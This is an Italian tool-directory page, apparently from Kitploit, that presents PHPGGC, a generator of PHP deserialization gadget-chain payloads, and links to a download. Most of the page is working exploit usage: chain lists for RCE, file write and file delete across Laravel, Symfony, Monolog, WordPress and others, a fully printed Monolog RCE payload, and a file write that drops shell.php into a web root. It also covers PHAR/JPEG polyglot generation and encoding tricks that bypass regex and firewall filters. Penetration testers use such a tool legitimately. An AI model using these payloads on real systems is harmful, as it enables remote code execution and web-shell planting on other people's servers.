Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
phpggc — PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. | Kitploit
Strumenti/GitHubGitHub/ambionics/phpggc
Exploit FrameworksPayload GenerationExploitationWeb Application Exploitation
GitHubambionics/phpggc

phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

Vedi Repository
3.9k55910 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

PHPGGC: Catene di Gadget Generici PHP

PHPGGC è una libreria di payload unserialize() insieme a uno strumento per generarli, da riga di comando o programmaticamente. Quando incontri una unserialize su un sito web di cui non hai il codice, o semplicemente quando cerchi di costruire un exploit, questo strumento ti permette di generare il payload senza dover passare attraverso i noiosi passaggi di trovare e combinare i gadget. Può essere considerato l'equivalente di frohoff's ysoserial, ma per PHP. Attualmente, lo strumento supporta catene di gadget come: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii e ZendFramework.

Requisiti

Per eseguire PHPGGC è richiesto PHP >= 5.6.

Utilizzo

Esegui ./phpggc -l per ottenere un elenco delle catene di gadget:

root@kitploit:~
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Filtra le catene di gadget:

root@kitploit:~
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Ogni catena di gadget ha:

  • Nome: Nome del framework/libreria
  • Versione: Versione del framework/libreria per cui sono pensati i gadget
  • Tipo: Tipo di sfruttamento: RCE, File Write, File Read, Include...
  • Vettore: il vettore per attivare la catena dopo la unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Informazioni: Altre informazioni sulla catena

Usa -i per ottenere informazioni dettagliate su una catena:

root@kitploit:~
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Per i gadget RCE, il comando eseguito può avere 3 tipi di formattazione a seconda di come funziona il gadget:

  • RCE (Comando): ./phpggc Symfony/RCE1 id
  • RCE (Codice PHP): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Chiamata di funzione): ./phpggc Symfony/RCE4 system id

Una volta selezionata una catena, esegui ./phpggc <gadget-chain> [parameters] per ottenere il payload. Ad esempio, per ottenere un payload per Monolog, dovresti fare:

root@kitploit:~
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Per una scrittura di file usando SwiftMailer, dovresti fare:

root@kitploit:~
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

L'opzione --wrapper (-w) ti permette di definire un file PHP contenente le seguenti funzioni:

  • process_parameters(array $parameters): Chiamata subito prima di generate(), permette di modificare i parametri
  • process_object(object $object): Chiamata subito prima di serialize(), permette di modificare l'oggetto
  • process_serialized(string $serialized): Chiamata subito dopo serialize(), permette di modificare la stringa serializzata

Ad esempio, se il codice vulnerabile si presenta così:

root@kitploit:~
<?php
$data = unserialize($_GET['data']);
print $data['message'];

Potresti usare una catena __toString(), avvolgendola in questo modo:

root@kitploit:~
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

E chiameresti phpggc in questo modo:

root@kitploit:~
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

Storia

Al BlackHat US 2018, @s_n_t ha rilasciato PHARGGC, un fork di PHPGGC che, invece di costruire un payload serializzato, costruisce un intero file PHAR. Questo file PHAR contiene dati serializzati e come tale può essere usato per varie tecniche di sfruttamento (file_exists, fopen, ecc.). Il documento è qui.

Implementazione

Gli archivi PHAR sono disponibili in tre formati diversi: PHAR, TAR e ZIP. Tutti e tre sono supportati da PHPGGC. I file poliglotti possono essere generati usando --phar-jpeg (-pj). Sono disponibili altre opzioni (usa -h).

Esempi

root@kitploit:~
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Gli argomenti permettono di modificare il modo in cui il payload viene emesso. Ad esempio, -u lo codifica in URL e -b lo converte in base64. I payload contengono spesso byte NULL e non possono essere copiati/incollati così come sono. Usa -s per una codifica URL soft, che mantiene il payload leggibile.

Gli encoder possono essere concatenati e, di conseguenza, l'ordine è importante. Ad esempio, ./phpggc -b -u -u slim/rce1 system id codificherà il payload in base64, poi lo codificherà in URL due volte.

Avanzato: Miglioramenti

Fast destruct

PHPGGC implementa un flag --fast-destruct (-f) che fa sì che il tuo oggetto serializzato venga distrutto subito dopo la chiamata a unserialize(), e non alla fine dello script. Consiglio di usarlo per ogni vettore __destruct, poiché migliora l'affidabilità. Ad esempio, se lo script PHP genera un'eccezione dopo la chiamata, il metodo __destruct del tuo oggetto potrebbe non essere chiamato. Poiché viene elaborato contemporaneamente agli encoder, deve essere impostato per primo.

root@kitploit:~
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

Stringhe ASCII

Usa il formato di serializzazione S invece del normale s. Questo sostituisce ogni carattere non ASCII con una rappresentazione esadecimale: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; Questo può essere utile quando per qualche motivo i caratteri non ASCII non sono consentiti (ad esempio il byte NULL). Poiché i payload generalmente li contengono, questo garantisce che il payload sia composto solo da valori ASCII. Nota: è sperimentale e potrebbe non funzionare in alcuni casi.

Stringhe Armor

Usa il formato di serializzazione S invece del normale s. Questo sostituisce ogni carattere con una rappresentazione esadecimale: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; Torna utile quando un firewall o codice PHP blocca le stringhe. Nota: è sperimentale e potrebbe non funzionare in alcuni casi. Nota: questo fa crescere ogni stringa nel payload di un fattore 3.

Numeri Plus

A volte, gli script PHP verificano che il payload serializzato fornito non contenga oggetti usando una regex come /O:[0-9]+:. Questo viene facilmente bypassato usando O:+123:... invece di O:123:. Si può usare --plus-numbers <types>, o -n <types>, per aggiungere automaticamente questi segni + davanti ai simboli. Ad esempio, per offuscare oggetti e stringhe, si può usare: --n Os. Nota che da PHP 7.2, solo i tipi i e d (float) possono avere un +.

Proprietà Pubbliche

Tenta di convertire i riferimenti alle proprietà protette o private all'interno del payload serializzato in proprietà pubbliche. Questo può essere utile perché quando PHP serializza una proprietà non pubblica di un oggetto, antepone al nome della proprietà un asterisco (per le proprietà protette) o il nome della classe (per quelle private), circondati da byte null, che sono facili da perdere se il payload viene trasmesso o archiviato come testo semplice senza codifica. Se ciò accade, il payload non riuscirà a essere unserializzato perché la lunghezza della stringa del nome della proprietà (e il nome stesso) risulteranno errati. Come bonus aggiuntivo, i payload sono leggermente più piccoli senza i prefissi. Convertire le proprietà in pubbliche tende a funzionare nelle versioni più recenti di PHP, ma può causare problemi nelle versioni più vecchie (prima di PHP 7.2). Questa funzionalità potrebbe non funzionare correttamente se una catena include uno o più oggetti con un'implementazione personalizzata di serialize / unserialize.

Testare la tua catena

Per testare se la catena di gadget che vuoi usare funziona nell'ambiente target, spostati nella cartella del tuo ambiente ed esegui la catena senza argomenti, con l'opzione --test-payload.

Ad esempio, per testare se Monolog/RCE2 funziona su Symfony 4.x:

root@kitploit:~
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

Il codice di uscita sarà 0 se il payload è stato attivato, 1 altrimenti.

Testare la tua catena contro ogni versione di un pacchetto

Se desideri sapere contro quali versioni di un pacchetto funziona una catena di gadget, puoi usare test-gc-compatibility.py.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

Puoi specificare le versioni da testare usando la seguente sintassi.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

Invece di usare PHPGGC come strumento da riga di comando, puoi programmare script PHP:

root@kitploit:~
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

Questo ti permette di modificare i parametri o scrivere exploit più facilmente. Nota: Al momento è abbastanza sperimentale, quindi per favore segnala i bug.

Contribuire

Le pull request sono più che benvenute. Segui queste semplici linee guida:

  • __destruct() è sempre il vettore migliore
  • Specifica almeno la versione della libreria su cui hai costruito il payload
  • Non includere parametri non utilizzati nella definizione del gadget se mantengono i loro valori predefiniti. Rende solo il payload più grande.
  • Rispetta lo stile del codice: ad esempio, le parentesi graffe di apertura { vanno su una nuova riga e gli array dovrebbero essere scritti come [1, 2, 3] invece della vecchia notazione array(1, 2, 3).

Dal punto di vista del codice, la struttura delle directory è abbastanza semplice: i gadget in gadgets.php, descrizione + logica in chain.php. Puoi definire metodi di pre- e post- elaborazione, se i parametri devono essere modificati. Spero che i gadget già implementati siano sufficienti per costruire i tuoi. In caso contrario, sarò lieto di rispondere alle tue domande.

Per favore testa quante più versioni possibile. La nomenclatura per le versioni è la seguente: [-]<lower-version> <= <higher-version>[+]. I segni - e + indicano che il tuo payload potrebbe funzionare rispettivamente su versioni inferiori e superiori. Ad esempio, se la tua catena di gadget funziona dalla versione 2.0.0 alla versione 4.4.1, che è l'ultima versione al momento, usa 2.0.0 <= 4.4.1+.

L'opzione da riga di comando --new <framework> <type> può essere usata per creare la struttura di directory e file per una nuova catena di gadget. Ad esempio, usare ./phpggc -n Drupal RCE creerebbe una nuova gadget chain Drupal RCE.

Docker

Se non vuoi installare PHP, puoi creare un'immagine Docker usando:

root@kitploit:~
$ docker build . -t 'phpggc'

Puoi quindi usare il phpggc dockerizzato.

Per generare una catena di gadget

root@kitploit:~
$ docker run phpggc Monolog/rce1 'system' 'id'

Per testare una catena

Spostati nella cartella del tuo ambiente ed esegui la catena senza argomenti, con l'opzione --test-payload:

root@kitploit:~
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

Per generare file phar / poliglotti

Nota: Il comando deve essere eseguito nella directory in cui si trova l'immagine di input.

root@kitploit:~
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

Per eseguire test-gc-compatibility.py

root@kitploit:~
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

Licenza

Apache License 2.0

Scarica lo strumento